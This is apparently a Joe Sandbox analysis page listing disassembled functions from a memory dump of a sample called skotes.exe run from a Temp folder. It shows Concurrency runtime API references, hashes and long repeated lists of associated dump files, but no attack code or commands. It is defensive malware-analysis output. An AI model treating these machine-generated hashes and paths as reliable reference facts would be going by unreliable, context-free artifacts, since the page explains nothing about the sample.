Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB341F

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 2676b9cb3db5d7a67e0e4d9908f94dc6d28d7fb1167412af83cf91554c1fb995
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 9801D632600514A7CF16EE548882AFF77E9DF45B50F100495FC16AB382DAF1EF0096A0

Function 00BA9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00BA9519

Part of subcall function 00B9F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00BA5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00BA953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00BA9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00BA9559

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 8230041dd9b7ce2006bf6c34018fdfd8a42b5e60b68a5f6889d2d3db3e04c869
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: D7F0A730A04B105FEA62AB588852F7B23D5DF46711F00C4ADE41B97682CE64E842CB40

Function 00BBDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00BBDFE8

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2152102331
Opcode ID: 9dd7fd60e1beee990ac75d10fb41533680869fecff9dc837d77f404c6fa11ded
Instruction ID: b972b3f250d3c31c9d8dc39033e66cd34da36e96f67902e3cda530f9b7869837
Opcode Fuzzy Hash: 9dd7fd60e1beee990ac75d10fb41533680869fecff9dc837d77f404c6fa11ded
Instruction Fuzzy Hash: D9219F716042096F9B30BE658C82EFB77EDEF503647504694F93996161EBF0ED0097A0

Function 00BB1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BB1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB17AF

Strings

pContext, xrefs: 00BB17A7

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 3677093f0c4789841895afcc700789c63c85280ac9c163b282b92be8042840b9
Instruction ID: 40bacede4388ac8a33406d4b6c3ad551544ab0299b708b74f4f28cdad43624d6
Opcode Fuzzy Hash: 3677093f0c4789841895afcc700789c63c85280ac9c163b282b92be8042840b9
Instruction Fuzzy Hash: 99110639A112149BCB15BF1DC4A49BD77E5EF84360B4448E5E812AB352DFB0ED01CBD0

Function 00BAB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00BAB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BAB961

Strings

pContext, xrefs: 00BAB959

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
